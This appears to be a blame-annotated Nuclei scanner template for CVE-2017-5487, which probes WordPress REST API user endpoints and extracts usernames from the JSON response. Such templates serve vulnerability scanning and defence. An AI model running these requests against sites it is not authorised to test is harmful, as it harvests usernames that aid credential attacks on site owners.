2021-06-10 16:27:07 +00:00
id : CVE-2017-5487
info :
name : WordPress Core < 4.7.1 - Username Enumeration
2021-07-13 18:58:52 +00:00
author : Manas_Harsh,daffainfo,geeknik
2021-09-10 11:26:40 +00:00
severity : medium
2021-06-10 16:27:07 +00:00
description : wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API implementation in WordPress 4.7 before 4.7.1 does not properly restrict listings of post authors, which allows remote attackers to obtain sensitive information via a wp-json/wp/v2/users request.
tags : cve,cve2017,wordpress
2021-08-18 11:37:49 +00:00
reference :
2021-08-19 14:44:46 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2017-5487
- https://www.exploit-db.com/exploits/41497
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score : 5.30
cve-id : CVE-2017-5487
cwe-id : CWE-200
2021-06-10 16:27:07 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/wp-json/wp/v2/users/"
- "{{BaseURL}}/?rest_route=/wp/v2/users/"
2021-09-02 07:46:45 +00:00
2021-09-01 23:59:23 +00:00
stop-at-first-match : true
2021-06-10 16:27:07 +00:00
matchers-condition : and
matchers :
2021-07-13 18:58:52 +00:00
- type : word
part : header
words :
- "application/json"
2021-06-10 16:27:07 +00:00
- type : status
status :
- 200
- type : word
words :
- '"id":'
- '"name":'
- '"avatar_urls":'
2021-07-13 18:58:52 +00:00
condition : and
2021-09-02 07:46:45 +00:00
2021-08-02 05:08:39 +00:00
extractors :
- type : regex
part : body
regex :
2021-09-01 23:59:23 +00:00
- '"name":"[^"]*"'